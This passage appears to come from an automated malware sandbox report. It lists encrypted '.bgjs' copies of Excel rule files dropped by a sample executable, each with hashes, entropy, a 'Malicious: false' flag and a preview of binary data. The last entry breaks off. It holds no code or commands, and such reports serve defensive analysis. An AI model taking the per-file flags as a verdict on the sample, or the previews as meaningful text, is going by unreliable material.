SHA-512:	F85DCB6D2506C0DCA7DD54F890D71923BD408933ADAEA317903CAE316983E967D1FB59D75794FB96D56C56A9D1DC70850587102D73B0215133F2AEC97B8F4266
Malicious:	false
Preview:	<?xml/!.......}@d=....;aeOy)....=d`.&.^.T..7...z.[,.IRQ....U...S.(...Dn.2.qW.i\|6.0h..........8)D...^.+:.....RgQ@l.6u{...R...C...z.41.,Q-.t.N&Z8F....\.2.2...y.U?.........T...>-...,~t..;H.e.....M.l.F.e.P....3.T...P..7.D<s7.V=r....._"<7M..0..Ngo....~....E.8.....e.p...u>K[.B.0......... ..Fa?n.&..b....c2..5....ed..yfK..&Z........5\.....j......x.....b..$.Q7N.N...\....U&.".7/.Dr........t..4.>#G..F7.4...,.N.g6'...f.Mv..f....l..K(..i.H.-.ZT....%.}..3.L.0F.Dy..........`..q<..DVe.7g=,....M.........@.V.JjK..}z.=k...U.W..Y#..q_.d..Z.....V........\.E...^....2/.....v.I.X[...0.....M.:.pPW.S.Qz.S.W..0.F.(....s4.."....p.jrV$.~B.'..^......w....eA.g{..h8iMZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120664v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	835
Entropy (8bit):	7.768762096903496
Encrypted:	false
SSDEEP:	24:ociWUKtSoBh4XvUeZwEOwKtN/t7SjUdObD:olrKDhoOnws7SjZD
MD5:	0CF72053DE1382CA331302B262E367CC
SHA1:	D8E89E5E79B349B7FCE6BBE1B274BC006D04C5BE
SHA-256:	C7A2AC09520199DF97E9A4C10A5990D82A7FEA1C31744A4987989C42E802AAA5
SHA-512:	96ECCFD69900C3B8F6B529A49A6A8726A4AB9DCF6805D160FA0EAECDAD72AA3C45D677B5C647DB2FD770BD6945C4E64E3033A7A59275B9095647CA1CD00EB928
Malicious:	false
Preview:	<?xml....<...{.S...I5.> y"...+>s..Os....d..8i.K9-z..a...C$.....!=X......&....V.!...\|d.74..is.Q.r.......m..[...V>.2..@..iZ..nfw.~.f..5..[.....k;..."....k.D<...5..4u0_......T..D..6n...P..]........u...$6.GM.}a.S&.S.@..\|.....?.-...G..Q..Zg...y.O..R8..=./.'...z.h.ua.7.k{.%.3\|..S..}z .>0..K..j........``...[9...Wx.g/&..l......[.........%.K.<...../.8;..J..9...b.....W/.._.vqh...yIk.!=....NZ...%......S~K=W...q......4Rwm9.d#\..@N.....j....`.......G..3o.9.Y..g(#..~.......ZE.\|.S.).\..y....0.6...L;].....}....Zh.N......N}..;25.}.q...;.k...)~...>S[. w..\|3[...%..^.."...$F.R...,@.~b7mvZ...V....=.........Y&Q.:..j...,w.......Z.....d}..8....,.,..9..f@..rISo, ...X..e.....&..V]....BSF........G&.K..A...c..?....'....l.;.<.v.\..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120665v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.731137241629208
Encrypted:	false
SSDEEP:	12:awXc1+REteRWxAVJtSsjUikcemmNWyBVHPuoSu4lLjWHFCXuOcii9a:05tEWwJc4UdtmkbviLuObD
MD5:	9BCAB16F59518FC3317F700DA1C700C4
SHA1:	BEF0410A5B9E943BB6E2726DBBF26BDF1703489F
SHA-256:	D35C4C7B9B9A5391EB5402307455DB5088229184398482BE48DFCCDBDD5D6D34
SHA-512:	C4384243D4297D8D519A86180C6288EB02A1B04A70AE3E73B7CFF3C9199BF1D20C3883054C57EE34BBE6ED06599B965E52762CD1B33A8AEEE1D5D19A59DE79A7
Malicious:	false
Preview:	<?xml>...ii..-..vW...k1..7.f1$tD,......_..^..o.....).B.......A...-..?XC.,{..#....1.b.D.......at..TP..3.Zqg...L..A.sf....\....hQ..,....g..e.x.d.C.`-,\L.ef.............B3...L.../...9.D,...~...=..\|...W%.....z`.....Z.@z4.T.. .\|....%`'<\|..>K..^.....-.)......T.f...YA.k#.1..E.p.x..q..8...K.wgs..dk.:.u.nQ.......v..o.6...z.3(.Ff......RMNa.e.......`X.v.j..b]...$.O/.n.9?..m........j.`...*..F%+g......$...tIk. t?(.........J....;;..u..J...(.&.w.~t.."~?....S..v..}..(.M}..d...k....EU.v=;Gqh.......7.l.......x..]....a.......]...lX........E..!\....Z.X.v.0.IJ.....u26....)..Z..$..nsR[.^..b...D.........z..h..........T.i.......].9~Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120666v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.711323636147881
Encrypted:	false
SSDEEP:	12:3GMvdVl/yf4z89WYgAQ95FwAFRiSkW0x57EKHCstbJ6S79od8uOcii9a:3FlY9WYy9Hw7Q1oxtV576ObD
MD5:	2D8A9BFC9BC8051CB7160C6874F44325
SHA1:	FF801D7B8058AA3A74409340919A6A4B60E24376
SHA-256:	C10F15D26C9D61255CF645580A8BFBF84DE9A05BB4D0D374456CA02B1B7BE337
SHA-512:	4474EC5D5B1EF962E8B4E2AD303921E82D3E08E4147E27D4B75AD94AD7435A87A5FBB18B381C0C16BEEAC0F8CA289D75DE5EF8EBAD98B777D09B13C9D0FC72CA
Malicious:	false
Preview:	<?xml....U.DL.8.D{....`3.V.#>.`...[.R..f..=....;.Q..5..........N....vZ<Fhu...D&[..x...e..^T....h).Z..{....c....I;...v}...K~.~..m..s......\...(...wE3./..F.=Q...0.......=.....N..k,m.W..o.1.X.~9].......xA)........2.M.......B.......?1.t..Q.h.\$.>..F....[.9..>?q...l.g3.o.He..X.:..OA/'..Z4.....v...M.....\|.41;..h[...X. ..D.;.P.8....j@..T....r..".i....[u.... $.4. W.^....u.JB0.....Yt.A.G)i.B......Wz.w{_N..p.l4.V.i..........)(C.X0.k..z7.Dr~CU.25._.v.KM.\\..K9Y...w..C.~..6..E....rp??O*.r\`........;......p,....p..8.Q..R.G.2.....d.g.K...L....(G#.9..G..n.-.'.\..?...ecE..>.-...M...)..h.~.`.x.N.?[....v>I.~..B.2.d..pt....4.8...(?.v..x...+.V..\..i}\..P......`..[..e.v.L.....-.]u,)=-....#\|.<.`..A.gZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120667v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.709091723144643
Encrypted:	false
SSDEEP:	12:P6Hr823esobJjueX7GsNEUqZPsxpQAMymsbX7VGVPDgFbjrTxtt/60dkcDFvcLye:P6Lsr9XqiqZPscBRsbX5cPDgFbjZtt/I
MD5:	A1EF57839AE117F42757EC4D24926FE3
SHA1:	459BC7140CCEA3ACC384146468DC23DFF5DB0882
SHA-256:	E7B596B9B92A9AFCD3C0996D4853C203DEE750F509E740BA63010D293E7CD736
SHA-512:	B7798589118A765A74E2ADB2884C0AB39774753A554C6707E88C5D9C1B7698858FA5ECA3934B320F54A512BF687E8524515E21C676DA54ECA7B371366689DB5D
Malicious:	false
Preview:	<?xml.v..'C`..b.........!...).oDt......W5...8.=.RM.zY$..n?.....'.%.@...uh..7...U...Eim.u....d......G.'.a...#..Yj..W.H.&.Ge....Z..<..3O.....V..4..7$.6...Q.zW=Sp.&..Nr.S.!....\...s.0.~..v.....q.[i1..Q..p-q%e.$M...q.K.\|...s..x'U"]..O.(ofCu....7.B.02.>.(w.........}.....=..7$.C~...{.,.p.r:..].Y.z.]..).......W.d.....K.V....wI..............G5y...6.......}N~.X.Y..5.!..b.TLI..D.g.7y._.m>R"X...b...X;.=...^.~u+..Z.Y.=e%..q.OR..-..:.."....+..N.vT.lI6A..NQ{.S..t/Jg.b..5..52...f..A..m..V......4I.c>kY...v...+s&..x..!e.M..e.Q..\c...t..Z_.e.),....JQ~F..l'... .\..z..n.."1..!.+.........Y.....o9.'%_.N..k... Y$}............<.].o5...u.V.A2U..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120668v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.740998653724489
Encrypted:	false
SSDEEP:	24:yr/q/Nk/zJK2WocEZ8i/6r2gc3XTI2vGObD:y+QKct/q2gc3XUWpD
MD5:	0309599DC9743C7B06761CA944398A37
SHA1:	09F29321CDAD72A0275E45D03F55C86D79A22F53
SHA-256:	7B903191076EB30D808603A2094392DB540D95069BA37391C80F3D92EE005345
SHA-512:	5C03522DBD658CFBCE9C2366F4F2CDD3FDA54CF2469EC879C931C73F52F52A424CF982D8E909EEB03B4BEABDE9004A58440389B1814117CBA7C37B7BF154C711
Malicious:	false
Preview:	<?xml..'P.#...D.{..],}.....}#q.{..I.rWX....V...#......Z.c.B`\|H..r9e......^..p._....U........'+.CGn...:..W.K.mc..Q...T.......r.......b...!#L. e~.pI8.....~Jz..;........my.............hz.G#.......-j%..<..'....v..&....0....kPm...G....SH...u...X.....cWO1...o.r....HQ.o!..xj.{..:..q..gp-ux6....^0.....exH:(C.c.!<..p=..A...I.E^._7...<.t.................z<.5k.6.e...RXh...../....\.1. R..X.-U.<...[.8.&......GW..6..1.n.~#.}..t..1@o.d.7T.Gdz....#[W..Q=O!uc.!~..{.....3..}.PD..9...NV.4.....P.......u=.h(H..}H...A.$u...<.m...T0..0...o.y.b..z....iGFx4-!_..t...@. .1....)..Z^.f9..u5o..4e....H..>].n..../.~M...9.m..E....L........5RPg..(......@.d,s.....Cg.(.....AQ.G6.t+NAul.`.&.v..........6.^.F....8...,.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120669v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.676550388162053
Encrypted:	false
SSDEEP:	12:LWvUgH3AlikaSfvSESNZMiK5fpNCioxU0gLuvOAK2h4mwsm2JK3Xc5DuOcii9a:LWhQliTSSZNS3fDCiogoNhUsw3hObD
MD5:	DCB900EA2CB73B03145437A726E5BBD9
SHA1:	3F50BA09318787EF38CFAFA65353B48DED8F6E93
SHA-256:	6ACDB7A6771F76B14D8E93E876A062FFA32288B70D0FFC55E83BC17318022D2D
SHA-512:	F84B983E47D756EF2FCE4F4B4130FDA92AEF56629809EFF7B007383E47DB3414BABA51A2A3355040A003DB53F033A8615408A78BE5B5DB3CDD14CB05A6D04FB9
Malicious:	false
Preview:	<?xml.....8...$bQO..;8l......M.]E6.B..<.c.!.......U...~...]'.....[.WW.._....O.c....v.pt.F&<WX..qw....NMh./...A.y....7.o..qMP.70.1..p.l"}....K.....ot.I.(,.y....c....b.K...L...7..PF...........8.!5..@,..W....^..v.Swt...?.cq.n..0X..k.^.X.P!.J...@..u$........_.X........3...b..R<.9yE.z.A_..Lb..uE.?.V.O.5..".v.."P....mw%p..#.[..e.o...-.G_1..AH....v..,...Q..U3...uGu*`..F.....6,.N..l...m{....\.)k...ry6o.le..k.`......[.=.k.^.....&K...7T.h.7..n.-..Cp........-.E..h....z<.i...t....{.`..@.u.rfe....I...d...A.,..V.........Rd .....v&..h.}.`+..L.6.t....n@..d@...;Oy..%.f...D...I)..z.#.VzJ...R.....^oK.#.#.\|..p.Z.~...L.:C....i#.e..2.K..z.Gl%.!......L'.bZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120670v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.71629181135833
Encrypted:	false
SSDEEP:	12:0CZQ2a54oV2yguRAWuw8CA2gGIHMZtbZmqOnKf8Qkm8TZ9EywJR8YvxomuOcii9a:3Zo4oV2SDuw8H2J47KEQkRA73ojObD
MD5:	6FA2F2224339189D6B0A2FE938CC0E1E
SHA1:	4A1D4A4D0EC5E99875BA03B6227FE39C9EF2F3D9
SHA-256:	9DC8647009A7230D01DD57B40E072C8238F410B958E61C4C6A5CD37FBFAE69D5
SHA-512:	446FCE5F530CB97297865DA720C7AE920611B1CB6ED75E628226BDA57E86A02A4EF1D1D8B4146919BEFDD6286C7D8B670928914CF57C270CE75C7A2F5B4CEC20
Malicious:	false
Preview:	<?xml3...e....}..+.~f.0...FD.D....\|V.....4.+QK..^..#f...bv...v...]..4...H..N..{%..b.....+%N!..Y......<..]t...6.5n...SW..>..^..N.vyf..q'...%.$'..&.:q......e7.NG..#..>....eX....Y.k.3ba..').Y..-........;.~..kg...a......=._{h......n.<l.X...z^.y.q..%j....m.3.H...?.U%...e.9..j.E."..zJ...n..cI.8..>Nk..R.5.S..... ...z.....Wh..-K..]v........#.V.......^-...t....`.D...A.meF_...n7d%. .h....Na.IgM(\|{.95.~.....6.6.....ss....Y.F..v/2E......zI.g.^..Q)...zc<../>...H......N.AH...,..........K.;7R+...N="I..@..DK..w.haI...~T/~F...44.\|&....<.:....I.........f..O..I;4.+~..8PK@.X,....2....%n*E"..G.<%x...Vu....>'.....E..4{.l..>nd.>PSK.v~.".e...P.]JU..{.9Y....(...Y.4......=NF..#...Q./..y.Jj.K^Qv.olc...P....Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120671v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	765
Entropy (8bit):	7.754833020038943
Encrypted:	false
SSDEEP:	12:IlVEfsmeKCHGE2vCFJXbkPoHgjtvMu2vcbos8ZLAxHp7ApzrdJb5xLDDVDVnveZD:IlWWGEfgAHgKlvcbeLAxhAVLDTvyYObD
MD5:	A78C2C74CF93E5BC4AD46F1191A0CAE7
SHA1:	89E6CE1882F0AC95351D9CE8BEFCEC1C19E271A8
SHA-256:	82547402D77179FF69DB9D46E54CE9FA47993F1B0DF3AA8D92FF066CFF649921
SHA-512:	AC575863ED53181E66622485C67C3B927434E2603CDF24C3CAF216FD72E53DB4DE520929C96FA938C79DB4AE8255D1C630418E519B3F546DE65CBB9963D2C63E
Malicious:	false
Preview:	<?xml5S.t..U.......`..=+... ....M$f.w.<..#...........8h{...E.3.W.[..p6..].~..o.b..R.$.&.N..v...v.V&..9..(.....d...-...m.\|.7.0..g.8.xqh'.n..>gg^0".\|.."....;..s..z...q..R..E..` @.v.n..Tm5......8..]..&....=L.g...9.Us..M......L..X...6....x3>PP+8!....u...{ ..n0.j.....^.fQ..X.(..p_-.\E....m.)...;9=O.........o........(..(.-...."~P.2-f.q....6..c..H...~m.....Rw,..`R!.)..I,.3.UPz.hR.)G....!....h....Y.d..xL......k......-.L.y.4Mc...........7=.....Q/.y\...1e.+..#.....h:...n.$;.5o..4....0W_1i.V...C_S.&....j..1...\V.IZ..vG?Q..W}r.........;...[....lQmTs...Kn}q...F...*....H...aW...x...V..[.I.\u...cR.BU...x..py75..`.q...:..?F.4...~.4..5.'.r.....9......Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120672v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.753628725507309
Encrypted:	false
SSDEEP:	12:ULnnsBIzdrkXskT9L8hPYQhfl0swxAM+J0QpbHEFiqca5e/NfuOcii9a:6nsBGhpaRwYQJMo0QVMENmObD
MD5:	266170EE8C9CDDC213FCA6D653C5B462
SHA1:	6D49027375E845311CBA74D3928C93722FE858AB
SHA-256:	3981E84CF68C569B91E84E27A0F6D58E50CD0C97584CE9E0A94D9EBEDDBE4B0F
SHA-512:	0EA3C5076613DF865B5A172620A18AA1D0C66B85495EDA416A90AC4500E185E307796812A1D8C2D4B2DD6C690559463A8B7BC59B90DA40091A2D2888BA11FEB1
Malicious:	false
Preview:	<?xmliU+.....g...<r.m.[..<<...>...., ..R@.[}6...i.).]...K\..k.d...._..Y.Z9H..o<..;.w./...^.fO..6Y.+....J&..2@.#.^O.-........f5..DU.&..Z..F..JX...p...,`...Dcg.9Op....6.+O../.E.X..P.........W...Q.....O...<.?..=]..o..?....1#....Mv.m.d...G..O..^2..7.E.U..u..v.O.....[oA..... ..DJ@..z> u...KF...R..O..=. 5.l.....gQ..qs.I..#...D\|w...U)....G...(......l`.......b(......7.......&#zL.R..Q"5r...a..uX.........b'.Qf......3.........6.s^.p.P..h.$.C.U.....8._......0'..}V.wL....Y.3..Y.1..=..uz...&..]x/.I.`<l.....g....g.'..H.A(E.Z...DfO.l......l....).....J.-.NqQ.I.vjDV........RSga7%.x......L}.$0...[t.a....v....S.H.IK.s=...u...V....i....3.G>.u._.._.../..../.c%b,..u..t%.8.+9.....&4.F...y.H.M.z7.....=IZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120673v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.706041036251415
Encrypted:	false
SSDEEP:	12:G9zt0Ga5YctExOrCYW88FlVucsr04p+lWDyEXCvWWZoxhxvoRU+MA/ARCUOFfuOX:GRaGaectPtwlVuaa+lyUULFqU+X/SCUK
MD5:	2AE3E658FA6FB71445A4A6B8CBD36ADE
SHA1:	4B8C18BC57D71DBFD51751B94949C9C7E19C7860
SHA-256:	8FAFAD3BABD1731D54C96E3EAE35B3C7A0A0272956707E1CB9CD13BC8633174B
SHA-512:	8082C484A8CF8217DBF2513B556B5948A67B90F6BD4BD68FD377618F17BFE7BA6430735385567D683C981B0D8BD12DDD2753019734543BE5C6B786D8B790D55A
Malicious:	false
Preview:	<?xml's.h.7#..0..h=.y.o..iK.\.VQ.v\|.x..........n'..o.,...5.c..qN..<O+O:..O..*...y.~o.%_.y....#i..T.7.B...5....2.B...........N...A..g:....-.3....g.DQm.p`.<F3bR\..N.&.%..h..H8...1...:............\|..77..C&=.f2+.J0.0.Q..+$..@.M.......NW...1...Y\......./..+..F...+U4+...3w.O8....<.Pw.{M..^y..........z{.. ...Bw.y`..pG_(.e...#.4^v.5..M.R/....A.)E...l..C..i.ov./..F.I....$.m...f.....~.r.?...u...<.~......T..".-.!.&.......e.&A....]v...L.%..4}.VKF.T.].Y'.l.._(.<.P......i...+X.d`....R....?.......:.-..%')...)... ...]s.y......Q......M.q...~.]5P9.ar..~hbg.6.].A...V.).9...........\|....)u..h.:.ng.H_.;}....gB....{..$i2k8.-.!xh.b9sK....._N&>....RF...N...a<.JZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120674v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.738277186338326
Encrypted:	false
SSDEEP:	24:9mkWbrlaheOlCvnC7QKXau+RWNSNf+ObD:9W8RIPsPGRzfBD
MD5:	2E571B88AEAB3EA8A74B797DF92A76D0
SHA1:	29C181FFC84AA64B02650ADE0B491C0E26C89384
SHA-256:	B638A3F9762C10297DFFB94D71C5040FDFF5FBED11C9DEA9BD82D08B1FBE780D
SHA-512:	E4868184BF9DF70FE5FBC341E3B230CE4A0FB3C5F1D8A5756366CD06EEF693E780D329592002412448B5C2547EFEE56776B2289278204991EC9536F37D6C681D
Malicious:	false
Preview:	<?xml+.....S&.:...sbR.8..._R....8.......A.....N}.h.......ZcA.rD..../..y'..E...\|....\|...]N.l.....A.6...i.....<..QOau.n...qk...A&.......~T.F.u..x...1e,pdV.Y.....E..C.q..-....n.Q...f..A.;_..QA0]........b...".NU:...ui.+.YIA.<f~..B.M.^.S...."V........'.@}.<.....1...Z!.Z.EEM".C.....#.B.iY.$........^..i....."...(.!.t;....]....._.hx..Rn..6t+S]O"...(.i[...^=n..n$.<....\&.)......;?g...R..l...}..$..Y....Rx..C.B..G....r/M'.,.~.....:v.T...9.uJ.l.@....X.5.....$.... ..ikz..-.!...R8....z.T.........Y.[..s....<.p.I.)+e./..~Cm.B...B.y.%:.;e.V.........sS..w..........I...3H?..T.]..+\.j9.%...C\~K...be...k.........."F.fn. .>f..~......^...&.p^..:....3i.C....e...#.pK..K..........i....-.W.'.&.c.=.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120675v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.713851820833496
Encrypted:	false
SSDEEP:	12:buEdJYLPt+GSz8ahcYTn/Z2o3FGWlfoKwQ2sM5WjTOB4lIYHjuuOcii9a:bFnzVcY7/Z7GW/SsM5gOKIYXObD
MD5:	3FC03156922C69DBA98F8784E4B43079
SHA1:	81A57E2DBB6F6D7A2265BC7F190D4FA382B576B8
SHA-256:	AC9C0EF5CD7B4A6A0502E4D6C23408C44DD7B09FF9492FA1517E35EBD8D451BC
SHA-512:	E75B565D9203555558C3680D17AF8E297A4D2193DCA9DEFE74E437E66145BF5F2F96B48D865F031980A5AD2A66FC72B68FB3CDA572BE31C6B1FF56ABC760FBB4
Malicious:	false
Preview:	<?xml.\|t.+5......u....ZN....\|..........X(F7.9.......OK........n..6....r......?@...{V....{..U..5.@.........Px0..X.[.<.qm.\.....t.<W..}D....g...:..1Tl....cq...y,9>.d.....l...i.].&.+...H...W...{q...AEc....q...^...}..[.`..b._.u.....t.8..-u..~.....K?V(.....^.xIr..!$\|5.;W..+..`....f...a.5.%.......R..X_g...yir.~.......gi.E^....c.-.5.......Y~......{d....2.UH. ..[.I.K....X#.@.G.}.....8.O.,......gB4$.^.`Vf['.u.....a..s....)".....=.U.C....P.....hq.;.<../.....k..z..P>.s%....].M.!.S.......K<....3...'&7.....{.%.Th..W.{..4M2...9...j(...4.G.A.k.K.=..n.yN.;>.. ..E...A...G.P#u'......dV....... y$.g...1N..j.......l...rE..9.V.bB.]'....^.>^.={.8...N.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120676v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.723000478465146
Encrypted:	false
SSDEEP:	12:tIeaD9Ix5XgbWkWC6ps1zVv3B72MRtwKCtG51pbx680DZ/bX+IP5uOcii9a:SeamfXY7Cs1Rv3Bl/owvuFpgObD
MD5:	0F79A04A3F4081AF169E61071CDE1996
SHA1:	DF794F5D44F95AA970ED2D6B38E0DBF7E5CBE6AD
SHA-256:	E58E3D92BC0AAD4A8D6D367E9F6D106E46F820C85DEB1CB341EE825EA4DD2BF6
SHA-512:	EFCB44BF7B0A24CE581CA725537C620E05065DA419736144C561A65EC6CED19A6CC13955C9468C2417DBCCF77178DE85953C224CBDA4516A41A6FAEFC54077B0
Malicious:	false
Preview:	<?xml+e,={..$..f.t...lc...7..6UT...==Q>.'.;..F...A${.{.."v..8....[.$.zw.o.'&..RR..:c.....C.{H...o91T{.jvT......T~.T.Q.H.E......\|&..]...6.....e._.p......H}.{."/..W0...._..ou..Ws.x...8......=i...)5~....Z.$.. ...V....ny...y.....s...w.A...U.....4P....h.n6w.WI..5.K.....+.(..;.PRafm.W...P._^....s.mM.>r>..0.ew3Rxc.....D.....Hk...........LKg.J(.%..w~..Ky.,....=.m1).....\x.G...f.]....kT..`04...F..d.+..e5R.O8.h.$7..Q.U.;.q..~;."..U..T...D....&1C.}....Z..$P.i..7\|T..kF.=........DMs..........4VU(....\|`....r....xQ;.g..3...&.T?.z.....k!V.;..uQ.Yb......E....G....R5.G.0..M....~*..D.PH>@.9....,.Gy7a...X:.O$.C.d....st.m.A.I....g^.Z...HDi.....ei...J..M .cjrHw........j.pY-RDp.......C..02pG._."..._..g.N.H....gZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120677v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.722363663484291
Encrypted:	false
SSDEEP:	12:gFe0rGs2CIoGJgUpx6z5MXbPyQ18FFui/DltFEI97iwu5b2t6muOcii9a:0GsbGzpx6QPd1Ugi/hXEOYbvjObD
MD5:	1195EDA5487B5223D27E44EEE3580BBC
SHA1:	F7959AD3F9BFB5B97356AE05C791BE6D8BFFAA44
SHA-256:	B99DE1177A06BBB76916C3347DD92F8E7AA90824551EA412321AA091AD1623C8
SHA-512:	76C555D067AE8683F01416CE6FA9F80123AC6A915B1FB996BAA0DF06C06C0EE9DF6BDFBD398BE6988D1FAD854E3C507965B07E66DA98D8E7E6AA358146F1EB4C
Malicious:	false
Preview:	<?xml...:)4.w......^.o.m.[-..m....d..Q.n..K.y.}.>.dU.[...N.T+s....P'.........9,q...r.=.N...h2g.R.K.Z.Q..t82 0...uzvL.)....k.[\|..z.`.....s....rl..O.......R.?...V.....:.C...l.fU..C..d&.,.....)...<..9...... .e...i5..C..\|]7b.0..wD.P...h.x...1.....)h{....4..<..E....u...c.)..t..Z$..M......JZc.3.....f.....Z....)..?^7.jw....[.@.!.-8.b.7.#eU.*.\(.V{...u......j...\|3..,.......c..a.hQ.];&5v~.,.3.kF....k..K&......#....lY...3.$..M.X}DW....K..@.S....H...=..)d..$.......p....[.s7.w...<..2.....9.U,.>mW.......B12...z...E....m.'.' ..d..J.R....y-.h...."{m..}..9.....C.{.9......f.}.He#.......X.6..........{...,..(..B.&.T.3.:...$.J.U..+.....Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120678v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.7294371212212685
Encrypted:	false
SSDEEP:	12:eVGJ3G51NGU/7g2SVGfn9xAmiX2F9hxCUXLNaexeceV81BhuOcii9a:kOy1cUkV+9xAfGsUXLNtfPLAObD
MD5:	FD6A7B6BC6DD90183F3C77480206B4A2
SHA1:	446140447CE15864E0B13D985907AAE18B31F9CF
SHA-256:	2DE438ED31E068F0DE5D4AB6FF6CDEA5763C175B5F214A3154DEBF7BBF7693FC
SHA-512:	8E194D548B0B35522E767422465224A214CED2300CA1BFA240135D994BABF048F3365B9A5D43BD82F9C67B458E07542A66B2BC80BD626AAD9E99E68F9A8A5787
Malicious:	false
Preview:	<?xml.8M.x.....u.5..<....El.../..$#m......>..u.x..z...:..!.Lj..S....\|.+.t...n.D..".p.q............r.&0a.>U..O...kV..zy.f.....Y.q.Y.y..H.<-@..\h[4.\.w.z71l13W....0E.X[.m_<.F.@mCO.$m_...t<R..6o.T...o.0..5...?.(.....@.o.+....<.8....\|...2....&[.6....q.........I..r7!.:8...T.uG.<..:...;.Fr.hk..r...b...?...GFPW.;i.....~?r._.H&......}^".,V3.........0...H..=..k.O.sv.b2an..m<...D...6f.Ea...m.N.-_.....>....p.4....H.....c-}.F(..=.$.<.cL"2.Q..%.EF.z..:.W......t/....^...........G....{..^..44...X......7...w.LF.$..-...3.........\.I 